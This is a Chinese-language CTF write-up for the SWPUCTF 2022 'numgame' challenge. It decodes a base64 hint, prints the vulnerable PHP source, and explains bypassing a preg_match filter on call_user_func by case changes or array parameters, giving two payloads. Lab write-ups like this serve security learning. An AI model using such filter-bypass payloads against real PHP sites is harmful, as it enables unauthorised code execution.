[SWPUCTF 2022 新生赛]numgame
[SWPUCTF 2022 新生赛]numgame
进来直接问我10+10等于几
加到20发现变成负数了,根本不行,直接view-source
查看两个js文件,第二个直接出来了
一眼base64直接解码
得到
NsScTf.php
得到下一个页面的源码
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}
这里包含了一个/hint2.php,访问看看
提示我们类是nss2
然后分析源码
call_user_func():把第一个参数作为回调函数调用
preg_match(“/n|c/m”,$_GET[‘p’], $matches):过滤字符n和c,\m模式是多行匹配。由于PHP语言本身不区分大小写,故这里可以大小写绕过。
在这里call_user_func如果要调用类里的方法可以用:call_user_func(类::类中方法)
其实这道题也可以用数组方式传参(POST和GET两个方式都可以出答案)
payload1:p=Nss2:Ctf
payload2: p[]=nss2&p[]=ctf
访问后页面是空白的,因为它用的是include,要查看源代码才能看到